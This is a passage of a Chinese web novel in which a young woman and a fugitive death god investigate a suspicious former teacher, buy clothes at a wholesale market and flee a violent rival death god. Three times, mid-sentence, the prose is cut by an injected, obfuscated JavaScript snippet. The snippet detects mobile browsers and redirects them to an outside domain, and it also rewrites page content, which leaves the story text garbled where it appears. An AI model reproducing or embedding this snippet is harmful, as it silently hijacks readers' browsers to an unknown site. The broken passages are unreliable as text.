“能再详细点吗?什么款式、颜色的衣服?有没有什么特点?”有用信息不多,说得太笼统,常宵雨出言提醒。 “额……带着银丝边眼镜,外套应该是米色针织毛衣?”赫罗特不确定的说:“头发有点长,但前面没到肩膀,前短后长。” 他扭着自己的小辫子放在身前作为参照物,在锁骨处手动比划:“最长的地方大概到这里。” “……” 描述的像是柳高驰。 不仅契合常宵雨的记忆,也与幻境里的柳高驰穿着一致。 柳老师,难道真的和你有关? 否则怎么在郑倩然的幻境里,莫名出现了你的身影? “怎么了?是你认识的人?”见她沉吟,赫罗特问道。 常宵雨从思绪中脱离,望着底下那模糊的身影,摇了摇头,却说道:“没有意外的话,确实是我认识的人。” 她还想再说明,突然想起自己被困在幻境里碰到柳老师时,赫罗特并不在身边。 以后有空再和他说吧,常宵雨打消念头,改变计划:“我们回家。” “都快到原先的目的地了,真的不去吗?”赫罗特看了眼她的手机,屏幕暗淡,为防止被发现,早早息屏了。 “不去了,我担心打草惊蛇,以后有机会再说。” 赫罗特点头,带着常宵雨转身离去,化为一个小点消失在黑夜里。 就在两人离开后不久,柳高驰若有所觉,抬头看了眼天空。 一片漆黑,云层后唯有月亮黯淡。 18. 第18章 哒。 两人楼顶落地,赫罗特松开揽着她腰的手。 常宵雨盯着地面沉思,所有线索脑中旋转,不同线索之间仿佛要一条无形的纽带将它们连接在一起,却无法看见。 她本能遵循路线往楼梯口走。 “哎等等。” 赫罗特拉住她的手,脸上除了困惑还有焦急,他太好奇了。 “你总得告诉我发生什么了吧?反正这里没有监控了。” “和你说的话,你听得懂吗?”常宵雨停下脚步,转身看着他。 “我、我也没有那么傻好吗?”他不服气道:“我只是不爱动脑,不代表我蠢得听不懂啊。” 常宵雨点点头,竖起一根手指在他眼前晃了晃:“首先得从我刚进入郑倩然的幻境讲起。” 她向前几步,这一晚上下来,头发早就被吹乱,她抬手摸到脑后,扒下发圈,手臂放在天台矮墙上,看着同一水平线上的建筑屋顶。 赫罗特跟着两步上前,看着风吹动她的头发身后飘荡,理清面部乱发。 “你进入幻境之前,我在那个男人身体里,第一个遇到的人就是柳高驰,也就柳老师。” “那怎么了?” “笨。”常宵雨控制表情,却还是能看出来她无情的嘲笑了他。 赫罗特有点不悦:“我不笨。” 常宵雨无视他的话:“郑倩然不太清醒,幻境也不完全受她指挥,只是依照死后的执念生成的。我找到思路说动她后,她才清醒过来。” “可是,里面为什么会出现柳高驰这个无关人物?” 赫罗特调动他久违被注意到的大脑,想起他以前遇到的案例:“鬼魂本身也是一种能量体,很有可能受到外界影响,输入了一些不相关的信息。” “好吧,就算你说的是对的。” 常宵雨暂且认同,说道:“那么第二个可疑点在于,他和那具身体沟通时,提到了郑倩然所在的学校,我们是校友,而柳高驰曾经是我的初中老师。” “但……” 常宵雨打断他:“这可能是巧合,但已经是第二次了。” “今天我们去往那个男人的家,却在路上遇到了疑似柳高驰的人,而那个地方距离他的家、那个男人的家都很近。” 赫罗特终于想明白了,他一手锤在手掌上:“噢!加上他三更半夜的在树林里转来转去,怎么看都很可疑啊!” 常宵雨偏了一点头看他,嘴角翘起:“没错。就算这件事与他无关,他也一定不是简单人物。” 不过赫罗特还有一个问题。 “但是为什么不直接去那边看看呢?不是有我吗?” “这就是另一件事了。”常宵雨说道:“你记得郑倩然说过什么吗?她说,等回过神来就已经站在天台上了。” 她转过身,背靠矮墙:“在幻境里,她更倾向拿到补偿继续生活,现实中却突然就这样自杀了,很奇怪吧。” 赫罗特抓住了她的一部分思维:“所以你认为有超自然力量作祟?” “并非毫无可能,”常宵雨定定地看着赫罗特:“你的存在就是世界上有非凡力量的证明。如果他真的与此有关,不要靠近才是最好的。” 如果不是赫罗特出现在她面前,眼见为实,她恐怕一辈子都不会往那方面想。 赫罗特点头:“大概明白了,但是我觉得他应该打不过我才对?” 他如此自得,常宵雨不得不打击他:“虽然你现在可以一直飞很久,但那是因为收割了郑倩然,在这之前,你连幻境也撕不开。” “人外有人天外有天,我们根本不了解他,也不知道他的能力达到了什么程度,还是谨慎些好,包括你被地域压制的影响还需要时间一点点减弱。” 赫罗特觉得她有些谨慎过头了,可话听起来又很有道理。 “明白了就行。”常宵雨就担心他冲动,然后去作死,于是提前给他讲明白。 “还有,这个。” 常宵雨举起手,赫罗特的手依旧紧紧抓着,两人双手交握被带到眼前:“你什么时候松手?” 她晃了晃手。 常宵雨的手就在他的手心,赫罗特受惊般弹开,松开了指关节。 重获自由,她扭了扭手腕,转身走向楼梯。 赫罗特张合自己的手,眼里还残留着刚才他包裹常宵雨手的场景,骨节分明的大手轻松的抓着她,对比下,常宵雨那骨架也变得有些袖珍了。 这个想法让他的脊背从骨子里泛出一股麻意。 他困惑的摸了摸自己的背部,前方常宵雨已经消失在楼梯上,他丢掉无数问号急忙跳下楼梯。 房门开着,楼梯里静悄悄的,城中村的老房子既没有灯也没有监控,他们出去回来时正好不会被发现。 上下楼梯别发出声音,那就是安全的。 赫罗特看到门内的常宵雨已经换完鞋了。 他悄悄进来,缓慢安静的锁上门。 门一关,他才敢说话。 “话说,我怎么感觉,最近你对我的态度越来越差了?” “没有那种事。” 常宵雨不承认,赫罗特也没有办法,况且,他并不讨厌常宵雨对他这样“放肆”的感觉。 他开始没话找话:“我们每天什么时候出门啊?不是说要买衣服吗?” “差不多中午,十一点左右?”常宵雨疑问的语气带着商量:“外面太冷了,十一点温度刚刚好,有些太阳,买完衣服后还能吃顿饭。” “那就十一点!”这正是赫罗特生物钟里下班的时间。 “地点我来定,因为没钱,所以我们不会去商场,旁边的批发市场性价比较高,距离也近,午餐倒是可以去商场吃。”她把贫穷这种事说得很坦然。 “事先说好,我只会满足出门必要的一两套衣服,主要还是为了在外活动做准备。” 赫罗特摆摆手,他对衣服不感兴趣,反而明天的出门计划让他有些兴奋:“那种事无所谓吧,反正我现在这身都穿了一百多年了,只要我的脸好看就行了。” “而且商场哪里都有,我却还没去过批发市场!” 西方国家几百年前也有外观作用类似批发市场的地方,居然会因为这个兴奋。 常宵雨看了赫罗特一会儿,问道:“你没有去过这种的地方吗?” “呃……嗯。”赫罗特艰难拧眉思考,然后仰头笑道:“应该没有吧,我死的太早了,工作又忙,没什么记忆。” 常宵雨不再追问,只是整理好桌子。 * 窗帘将月光尽数遮挡,屋内黑暗适合睡眠,只不过赫罗特不是人类,感觉不到困意,也无需睡觉。 他趴在床边,想拿常宵雨的手机看漫画,但屏幕一亮起,天花板就被照亮了。 赫罗特迅速熄灭屏幕,心虚地看了眼常宵雨。 常宵雨的睡眠没有被打扰,呼吸平缓,睡容安静祥和,像一只无害的小鹿,放松下来的表情和醒着的时候看起来甚至像两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542685|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 清醒时,即使心情愉悦,常宵雨也不会有如此放松的表情。 赫罗特认为她太过紧绷,把一切都细细算好,逼到极限,唯独没有计划喘息的时间,所以才想让她尝试自己喜欢的活动,刺激的,外人认为莫名其妙的,打破框架的各种事情。 事实证明,常宵雨也很喜欢世界被踩在脚下,在高空极速坠落的激动感觉。 空中对视那一刻,她的眼神不再平静如常,而是涌入活水般波动。她自己不清楚,赫罗特却看得到。 他的预感是对的。 虽然不明白为什么,但常宵雨心情好的时候,他也会很愉悦。 他想了想,离开床铺靠近窗边,回头看了陷在床铺的常宵雨一眼,随后便漂浮起来,穿透窗户墙壁离开了房间。 手机看不了,实体书总可以。 赫罗特富有目的性的冲往某城区,常宵雨上课的时候他可是全程在外面乱逛,什么地方有什么店,他一清二楚。 他直接穿入了书店。 油墨纸张的香味充盈店铺,赫罗特来到右手边靠墙书架面前,拨开其他书籍,查找漫画。 但是,没有? 上次来的时候,他可是看到了一部很符合他口味的漫画,画面美丽清晰,分镜表达的情感让读者一目了然,他连蒙带猜的都看了个七七八八。 赫罗特来夏国没多久,当然不知道夏国目前纸媒衰落,纸质书很少人看,漫画更是难以出版,他单纯觉得书架上没有仓库应该会有。 遵循大部分店铺仓库都在最深处的规律,赫罗特顺利找到仓库,在里头翻箱倒柜,总算满意地找到了他想看的漫画。 上次看到女主和男主约好出去约会,赫罗特翻开页码,继续观看剧情。 作为死神,在黑夜中视物无须光线,他也懒得开灯,就这样看了起来。 仓库里时不时传来翻书声。 楼上。 书店主人是一对年迈的老夫妻,年纪大了觉少,经常天不亮就醒来。 “老婆子,你听到什么声音了吗?” 他的妻子也醒着,闻言仔细倾听起来。 “楼下店里传来的吧?是不是进蟑螂老鼠了?”她打了个哈欠。 老爷爷嘴一张,皱巴巴的脸上表情看起来比她惊恐:“不会进小偷了吧。” “小偷不会优先进书店的,你放心。” 他还是不安心,多思多想,下了床套上外套:“我去看看。” 到达一楼,楼梯的正对面就是仓库,在店里转了一圈,一切如常,他没找到声音从哪里发出,再次回到楼梯前,正要上楼。 哗啦。 这下他听清楚了,翻书声是从仓库里传来的。 老爷爷放回踏上台阶的脚,鼓起勇气转身,一把打开了门。 幽深黑暗的仓库中,无数书籍堆放压迫出中间一条小道,而这条仅剩的过道上,高大怪物双眼发着血红的光,听到动静,缓缓转过头来。 老爷爷碰上那红色的眼睛,脑子一晕就坐在了地上。 “鬼……鬼啊!”声音颤抖。 赫罗特啪的合上书,站在原地一动不动的看着老爷爷。 “老爷子,楼下是怎么了?”楼梯上传来苍老的女声。 赫罗特刚看到剧情高潮,很想看完,但他不能以这样的姿态暴露在大众眼中,他不会低估法务部那群嗅觉灵敏得像狗一样的东西。 漫画随手丢在书堆上,赫罗特直接穿墙离开。 19. 第19章 凌晨。 天还黑着,常宵雨又醒了。 眼前黑漆漆的,她头脑发懵,手在枕头旁边摸到手机,凌晨五点半。 屏幕亮起,光线刺激得她有些清醒,常宵雨知道这下坏了,再闭上眼,身体疲惫,精神却很亢奋。 她翻了个身,闭眼躺了没三分钟,又滚动到正面。 怎么睡都不舒服,总觉得差点什么,就是没法好好休息。 她重新睁开眼睛,开灯环视一圈。 房间就这么小,赫罗特不在肯定是出门了。 屋子在常宵雨前有好几任租客,墙壁斑驳墙灰有些脱落,露出底下的灰色水泥底。 她无聊的看着墙壁发了一会儿呆。 做作业上课工作之外的时间,她不知道该做什么。 想到什么,常宵雨拿起手机打开啾啾软件,置顶第一人就是施乃心,她点进去,随便给她发了一个表情包。 【雨:[小猫撒花.jpg]】 没有一秒,对方就回了张图片。 【黄金榴莲派:[拿来吧你.jpg]】 她就知道,夜猫子施乃心绝对不会放过休息日的夜晚时间。 【黄金榴莲派:怎么的,这么早醒了?还是压根没睡?】 【雨:你以为谁都是你?】 施乃心调皮的发了张表情包。 【黄金榴莲派:[兔子干杯.jpg]】 【黄金榴莲派:说吧,找我什么事,你没事可不会来网上找我。[月牙眼邪恶笑容.jpg]】 常宵雨犹豫了一会儿,在屏幕键盘上敲敲打打。 【雨:想着你对动漫漫画了解比较多,所以我有个问题。】 【雨:如果一个心理年龄在二十岁左右甚至更小的男生,从来没有接触过漫画游戏,却突然很喜欢少女恋爱漫画,会是什么原因?】 不对劲。 这是什么鬼问题?她认识新男人了?常宵雨最近确实活泼促狭许多。 施乃心开启侦探模式,把常宵雨的问题扫描一遍。 【黄金榴莲派:具体问题具体分析,得看他最近遇到了什么,以及他以前的环境是怎样的。】 常宵雨回忆起赫罗特曾经说过的话,删删减减,用春秋笔法掩盖一些超自然的内容,最终敲定了发出去的信息。 【雨:他从出社会开始就进入了某个黑心企业,人多竞争也大,全年无休,最近他意识到不对,受不了这样的生活逃出来了,认识了一个人,用剩下的钱租了房子成为了邻居,大概就这样。】 【黄金榴莲派:哎——,认识了一个人,这个人就是你吧。】 【雨:既然明白了就不要说出来。】 常宵雨都能想象到施乃心那怪里怪气拉长音调的样子。 施乃心一秒严肃。 【黄金榴莲派:好吧不开玩笑了,但你不觉得他真的很明显吗?他肯定是有喜欢的人了啊,要不就是因为某些人开始对恋爱感兴趣了。】 【雨:也可能是看少女漫画看的,而且他还喜欢广场舞音乐。】 常宵雨开始陈述赫罗特独特的品味,以此说明用正常人思维判断他想法的不合理性。 【黄金榴莲:别瞧不起广场舞音乐啊!现在也有挺好听的音乐了。】 【雨:是很难听的那种。】 【黄金榴莲派:这个……音乐审美和其他审美不是一回事啦!看恋爱漫画肯定是有恋爱的意愿,再不济也有恋爱幻想啊。】 “……” 【黄金榴莲派:怎么不理我呀,是不是不想面对这一切?[手指屏幕大笑.jpg]】 【雨:他不是那样的人,他对恋爱完全没有概念。】 发出这句话,常宵雨就关闭手机反扣在床头,然后拉着枕头往下缩。 和施乃心聊过后,她的脑子乱糟糟的,闭上眼睛希望就此停止思考,却在不知不觉中睡着了。 等到常宵雨再次醒来时,天已经透亮。 她裹着被子翻滚到床边,拿起手机,接近约定好的出门时间了,赫罗特还没回来。 常宵雨抬起右手,注视血管青筋隐于皮肤下的手背,与记忆里纹样复杂现在却看不见的契约图案。 要不要叫他呢。 契约的作用以文字形式清晰地印在脑海里,供她随时查看。 “赫罗特?” 她确定规则,对着手背试探着喊出他的名字。 “叩叩。” 话音还未落地,旁边即刻传来敲窗声。 常宵雨爬过去拉开窗帘,赫罗特的笑脸就在窗外,咧嘴露出的洁白牙齿在阳光下反光,他摇晃手冲她打招呼。 “现在可是白天。”常宵雨不知道窗外听不听得见她的声音。 “没事,下面现在没人呢。”他还是跨进屋子里:“不带上你的时候,我是可以隐身的,只有你看得到我。” 他进来了,常宵雨掀开被子起床,套上衣服,费劲地把手伸进袖口,圈上围巾。 赫罗特没有什么需要准备的,就盯着她穿衣,常宵雨进入卫生间关上门,才阻隔了他的视线。 不一会儿,从卫生间出来,常宵雨收拾好书包,头也不抬地嘱咐道:“一会儿你隐身出去后,直接在目的地等我。” 这样就不用付两个人的路费了。 赫罗特应声,复又直穿墙壁飘了出去。 * 休息日,商业区人流众多,常宵雨与赫罗特不得不肩膀紧挨在街上行走。 行人眼光各异,齐刷刷朝着赫罗特射去,还有人看似目不斜视,实则暗地里偷瞄几眼。 无他,赫罗特的长相与装扮实在太□□,二次元不少见,长成这样的却难以见到。 别人的目光没有在赫罗特心里留下印记,他只是指了指商场三楼的招牌:“牛蛙火锅。” “一顿一两百,吃不起。”常宵雨冷静评价,更别提还有赫罗特这个大胃王。 “那个呢?”赫罗特转变目标,询问一楼的小面馆。 商场里店铺的商品都不便宜,小面馆的价格恰好在她承受范围内,她默默点头。 不过,他们需要先买新衣服。 批发市场其实就在大商场的后方,小时候院长带着她和其他几个孩子来过一趟,那里在十几年前曾经繁华过,格局也是依照普通商场建造的,虽然有些老旧,但是电扶梯每一层都有,只是运行有些缓慢了。 若非本地人,否则很难在这低调的入口处意识到里面还存在许多商铺,倒像是废弃的办公楼。 赫罗特左右张望。 每间铺子仅仅用玻璃做格挡,无论从外面看,还是站在内部往左右两边观察,都能透过透明玻璃清楚内部状况。 商家们通常的做法是,将衣物样品利用工具挂在玻璃上,有序堆叠起来,形成天然的屏障。 只不过铺子本身面积小,怕是都没有六平米,这样一挤,显得更逼仄狭窄,让客人丧失走进去的欲望,在很久以前恐怕有许多人愿意挤一挤,现在却是不行了。 走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542686|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道也非常窄长,正值午饭时间,有些商家还把折叠桌塑料凳摆出来,占了过道些许面积。 “看起来都是女装。”赫罗特绕过一个摆在路边的刺目红色塑料凳。 “也有男装,往里面走走就有了。”常宵雨抬头示意前方。 路线颇为弯绕,这一层都卖衣服,不过并不复杂,只需要顺着路走。 常宵雨路过其中一个店门口,视线迟疑停留一瞬间,脚下后退一步,提起人模的上衣衣摆。 这是一件中长款黑色棉服,充棉不多,有些薄,当前气温普通人穿了肯定冷,却正适合赫罗特,少见的大码看着也合适。 常宵雨拉开拉链,把衣服从模型上脱下,举高照着赫罗特比划,肩膀与腰部大小都合适,袖子长度刚好卡在手腕。 翻出标签,加粗黑体的大写字母XXL出现手中。 伸手把衣服拍在赫罗特身上,他自觉抓住,就被常宵雨推着后背进了店里。 角落的试衣间简陋,由一圈布帘围出。 “把你那斗篷收起来,换这件。”常宵雨低声道,拉上布帘,将赫罗特留在试衣间内。 在她挑拣衣服,手指滑过衣架时,赫罗特拉开了帘子。 他有点不自在,将拉到顶的拉链向下扯了扯,露出领口,衣服很合身,但就是因为太合身,才让他感觉有点紧绷。 “难受。”他低头观察,抬起手,肘部折出深深褶皱,一牵到胸口位置。 常宵雨只说:“宽松的斗篷穿习惯了,穿这类衣服感到不适很正常。” 她放下手里的衣服,透过眼睛右前方的全身镜看着赫罗特。 他不舒服地动来动去,索性完全拉开拉链,松松套在外面。 大众款式的棉服穿在赫罗特身上,意外潇洒,配上自带的黑衬衫内搭,倒像是街头走秀的。 赫罗特歪头,店内灯光几簇撒在他身上,凝望常宵雨的眼里光芒透红流转。 “怎么了?” “不,太紧了可以换大一码。”常宵雨回神,低头不再看他,衣架上抽出一件款式相同的大一码棉服,头依旧低垂盯着衣架看,手臂后伸递给他。 赫罗特进去了,常宵雨才抬起头,双手手心拍打两下脸颊,长长呼一口气。 发什么愣呢。 又不是第一次见到他的样貌。 她定了定神,插入重叠的衣架间,见到深色,手指便一个个挑开去看。 “感觉好多了。”赫罗特的声音从旁边传来,常宵雨转头,他果然已经试穿完了。 既然他满意,常宵雨到隔壁找到一直唠嗑的老板,好说歹说砍价到七十块买下。 两人离开时,老板还咬着小手绢控诉他们不地道。 但常宵雨是不可能多花一分钱的。 预算只有两百块,需要给赫罗特配齐出门一整套,能省则省。 接着在这层,常宵雨又陆陆续续给他买了一件长袖内搭、一条长裤,至少让他外表看起来符合季节。 虽然常宵雨提议洗了再穿,但赫罗特这位爱干净的死神意外很宝贝新衣服,直接就穿在身上不愿脱下。 达到今天出门的目的,常宵雨准备离开,赫罗特走着走着便在途中停下,自顾自地站在一家卖饰品的店门口。 他的脚步声消失,常宵雨转过身,站在原地看着赫罗特摸了摸堆在一堆饰品上的围巾,那是一条纯浅蓝的围巾。 肉眼看与她的围巾一模一样。 常宵雨手指动了动,竭止去触碰的冲动。 20. 第20章 “我要这个。”赫罗特晃了晃围巾,回头笑道。 常宵雨拧眉,施乃心的话语闪过脑海。 她真的没有想多吗?赫罗特为什么只盯着与她同款的围巾。 “没有必要,你不需要围巾。”常宵雨看了眼价格标签,五十块,让她沸腾的思绪冷却下来。 赫罗特提起围巾,又看了看常宵雨,色调版型相同,蓝色调称得她的脸色冷白。 “我就要这个。”他翻来覆去的看,手伸进去感受柔软触感,很是喜爱。 “……” 常宵雨寸步不让,不出声,只是看着他。 契约内容需要他们的互相帮助,可没有说他白吃白喝的情况下还能挑三拣四。与此同时,她的态度也是对赫罗特的一种试探。 “好吧。”赫罗特看她表情就知道不成,遗憾地把围巾放回原位,回头看了好几眼。常宵雨对他的态度果然是越来越差了,他上次说的完全没错。 “作为交换,我想试试商场那家奶茶店,这总可以吧,不会买很贵的。” 常宵雨沉吟。 此刻她已经有些确定,赫罗特对她至少有些特殊感情,不然以他受不了气的性子,这会儿绝对忍不下去,更不会这般轻描淡写。 然而,无论赫罗特表现得多无害,她也不会忘记他是非人类的事实,她不断在心中提醒敲打自己,绝对不能放松警惕,所以,一杯奶茶能安抚他很划算。 “可以。” 吃完饭出来,站在商场第一层,奶茶店收银机前,赫罗特用常宵雨的手机点了一杯奶茶。 手机递回给常宵雨,她看也没看踹进兜里。 “你不点吗?”赫罗特语气带着一丝疑惑。 常宵雨摇了摇头,发尾后背扫动。 “可偶尔奢侈一次也不错吧。”赫罗特探身看她的眼。 常宵雨抬起眼皮对上,手心抵住他的肩膀,轻轻推开一点:“你知道最穷的时候,一杯奶茶能让我多活几天吗?” “不要说的那么严重,你不是还有存款吗?何必紧巴巴的过日子呢。”他摊手。 常宵雨目视前方,柜台上打印机吐出标签。 这条街倒是让她想起来了。 去年夏天暑假暴雨,街道的水淹没到小腿中间,她就倒霉得掉进无井盖的下水道口里,水流洪水般冲刷她的身体,漩涡意图卷袭她彻底陷入其中。 她有所防备,抓紧洞口边缘,然而水下湿滑实在抓不稳,周围人见事情紧急,七手八脚地拉起她架出下水道口。 出来时,浑身湿透,沾染了下水道壁上的污浊,手臂腿部都是划伤,蹭掉很大几块皮。 去那一趟医院花了好多钱。 她遇见的意外不在少数,严重成这样的少见,可零零碎碎的汇总起来花的钱也是笔大数字了。 若非清楚赫罗特不可能一辈子和她呆在一起,必须为未来早作打算,常宵雨险些就被赫罗特说动了。 “现在不是有我吗?我会帮忙的。” 常宵雨意味不明的看了他一眼:“那你能保证永远不从我的身边离开吗?” 一句话就问住了赫罗特,他有自知之明,向来闲不住喜欢往外跑,那就说明一定会有疏忽的时候。 他又很讨厌撒谎,支支吾吾的不出声了。 “既然不能,就别说这种话,我的人生是我过的。” “但是。”他想了想,觉得有哪里不对:“多买一杯奶茶,不至于掏光你的存款。” 没等到回答,柜台放上两杯奶茶,店员询问:“请问是198号吗?” “对,是我们的。”常宵雨接过奶茶,转手塞给赫罗特:“拿到了就回家吧。” 话题就此打住。 赫罗特手指掐着杯头,伸长腿两步赶上,看着周边浑身洋溢着喜悦的人们:“今天不是没有兼职吗?空闲逛逛呗。” 吸管戳破封口,他吸了口奶茶,看奶茶下降一大截便停住了动作:“你有什么想要的我们可以先看看,我晚上给你抢回来。” “别说这种话。”常宵雨和他并排走,抬眼先看到肩头,然后才是他的脸,“不能抢人东西。” 赫罗特看着前方街道,行人自动靠两边行走,笑道:“有什么不可以的,无论死神还是人类都一样,想要的东西就得抢过来,就算你用钱,本质上也是弱肉强食。” “厉害的人能从比他弱的人手里抢到更多钱。”他说着,抽出常宵雨书包侧袋的水瓶。 “干什么?”常宵雨下意识伸手去拿。 赫罗特扭开瓶盖,倾倒水杯一仰头,滚动的喉咙咽下,还向她展示空荡荡的杯子:“没了。” 手指一挑,撬开杯盖,焦黄色奶茶流入水瓶,他晃了晃里面的液体,拧上盖子,停在书包上方,然后松手。 水瓶顺着重力砸入侧袋,常宵雨的右边肩膀猛然一重。 赫罗特挑眉。 常宵雨扯上背带,顺手揉了揉肩膀。 “不是嫌贵吗?你并不讨厌奶茶吧,所以分你一半。” 常宵雨微微躲过前边逆着人群走过的人,神色复杂。 “……你不知道回家后这个杯子将会有多难洗。” 赫罗特的好意她心领了。 常宵雨的话没有打击到赫罗特,他的眼里写满愉悦,仗着腿长在她身边慢悠悠散步。 眼前一晃,剧痛袭上左肩。 “砰。” 突如其来的撞击让常宵雨一下没站稳差点摔倒,关节几乎错位,剧痛中,余光只见到健壮男人的身影擦过。 一只手从右边揽住她的肩,稳住身体,压着她往胸膛靠了靠,她缓过劲儿来,疑惑的抬头,伸手想掰开他回头看。 赫罗特慢下脚步,微微低头提醒:“不要回头。” 他一下变得面无表情,眼里写着认真,常宵雨见状没有挣脱,反而把脸贴上他宽阔的胸膛。 赫罗特呼吸一滞。 “怎么回事?”常宵雨问道。 赫罗特没有回答,回神低头笑了笑,搂着她顺着人群大跨步往前走,眼神逐渐发散,一阵无形波动自他身上散播开。 人群后面,健壮的男人突然停止赶路。 他回头,看着鱼群般朝身后涌去的人们,感受到从刚才一次无意碰撞显露出的异样的气息,当机立断,回身前往刚才走过的路。 果然敏锐。 赫罗特收回探查的魂力,加快脚步,借助灵魂强大的优势躲避人群,在人群中行进。 “不会抓你的人就在这条街上吧?” 赫罗特给了她答案:“是啊,法务部平时干活不积极,这会儿才一个星期就追到这里来了。” 常宵雨的心里只有一个念头:不能让他被抓住。 如果赫罗特消失,她遇到可能解决厄运的机会相当虚无缥缈,赫罗特是她十几年以来才遇到的希望,以后怕是再也遇不到了。 她没有那个运气。 “有什么我能做的吗?”她抓紧背带。 赫罗特二话不说,牵住她的手,掌心相贴,体内气流在两人身体里开始循环。 常宵雨不自觉抓紧他低温的手。 “追上来了。” 借助气息流转掩盖赫罗特死神同类的身份,他快步向前,常宵雨腿长不够,只能急忙追赶。 赫罗特倒想直接抱起她就跑,但这反而是不打自招,只得罢休。 感应遭到破坏,麦格强烈的目标感减弱,唯有刚才浅浅的链接感提醒他同类依旧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15542687|171053||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就在附近,短时间内跑不远,却看不清方向。 担心赫罗特跑了,他凭借身体优势撞开人流。 身后传来抱怨声。 “哎呦我去。” “不是大哥你谁啊?会不会看路?” 他眼球下移,肌肉虬结,光头下的吊销眼小瞳孔透露凶狠,喉咙里发出嘶吼低哑的声音。 “嗯——?” 咒骂还未出口,就被麦格的眼神吓到,咽下了话语。 等被撞的人反应过来,健壮男人已经消失在人群中,街道上不断响起抱怨。 赫罗特埋头竞走,灵魂里的契约印记告诉他,麦格越来越近了。 “这样下去不行。”常宵雨冷静道:“我们还要顾着不做太出格举动暴露自己,他却横冲直撞。” 迟早会发现他们。 赫罗特突然刹车,常宵雨不察猝不及防一下撞在他后背,鼻子通红。 她揉着鼻子抬头。 脖颈一凉,赫罗特转身扯下她围着的围巾,几下绕在脖子上,推着她进了一家首饰店。 “那就让他只来找我吧。” 站在台阶下,赫罗特依旧俯视着她,他牵起嘴角,露出一个狂妄的笑容。 “等等,你……” 不会独自一人想引开追兵吧?和她分开更容易被锁定。 常宵雨的话没说完,几个纵跃,赫罗特消失在面前,伸出的手还没有收回,停在半空中。 她愣了两秒,握紧拳头,放在胸前。 那浑身肌肉,气息野蛮可怖的健壮男人,在她前方的人群中一闪而过,直追着赫罗特前往的方向离去。 * 小巷阴森,水泥地延伸至阳光照不见的地方。 麦格遵循气息传来的方位,愈发浓郁的昭示目标近在眼前,他不紧不慢地深入小巷。 一道相对他而言清瘦的背影出现道路前。 赫罗特每回惹出麻烦,都是法务部的来收他,和麦格见面的次数不少,对彼此之间都还算熟悉。 麦格对他的印象就是不服管教,而他最喜欢折磨刺头了。 “穿得人模人样的,我都快认不出你了。”麦格嘲笑道:“总算看起来不像个乞丐。” 漆黑身影转过身,昏暗光线勉强照清晰他的脸,是赫罗特。 他上下打量麦格,麦格穿着露膀子的老头衫,布料拉扯紧绷缚着身体,腰侧染上点点不易察觉的红色痕迹,嗤笑一声:“这话应该我来说。” “衣服不合身,你杀了人吧?” 麦格不以为耻反以为荣,强大得能够随意决定他人生死命运的力量,是他成为死神中业绩前三的资本。 他扭了扭手腕,拳头撞在一起,指节咔啪咔啪的响,不屑与逃兵闲聊,狰狞笑道:“少废话,让我在把你抓回去前,先好好过个瘾!” 他挥起拳头,右脚踩在地面脚跟扭动,身体下蹲,猛然起身爆冲向前。 势必要先打上一场。 昏暗小巷里,两人狭路相逢,硕大的拳头出现在赫罗特左脸旁。 赫罗特纹丝不动,头发被气劲吹起,右手一翻。 “叮——!” 漆黑镰刀与拳头正面对上。 麦格后跳一步落地,微微矮下身看着他。 赫罗特手臂微微发麻,单手旋转镰刀,唰地扛在肩上。 没想到麦格的力量如今居然比他还更强一点,难道地域力量压制还分人吗?或者,他没有放过受害者的真灵,这是减轻压制的最快方式。 赫罗特盯着楼屋间夹出的一线天,不动声色插兜道:“啊……你是阿加莎派来的吧,她会允许你随便在外面杀人吗?” “哼。” “看来是没有了?” 21. 第21章 “只要能把你抓回去,一切都好说。”麦格冷笑着。 阿加莎管天管地,还能管他在其他信仰的地盘上杀了多少人吗? 手指上冒出黑烟,指虎紧紧箍住四指,拳头威力显著增加,赫罗特严肃了些。 麦格身体下潜,猛然出手自侧边下方攻出,拳头爆破空气,响起阵阵音爆,打的就是他此时不便闪躲。 赫罗特跨步右移,见攻击紧追不放,连连后退逼到墙边,踩扁地上的易拉罐,上半身后仰镰刀甩出。 真难缠。 视线微微斜后移,他暗地里观察逃跑的时机,又不是在契约范围内死不了,打不过麦格,他可不打算硬拼。 可惜他的演技太差。 “在我面前,还有闲心想其他事情!”麦格嘶吼,指虎与镰刀擦过。 赫罗特偏头翻身后跃过垃圾桶,下一秒在麦格的暴力中,垃圾桶里的垃圾喷泉般爆发,高高落下。 镰刀旋转一圈,撕开缝隙,两道瀑布般砸在身前身后,唯独避开了他。 垃圾哗啦啦落在地上。 在这垃圾雨中,麦格冲到他上方,眼睛瞄准的目标明确。 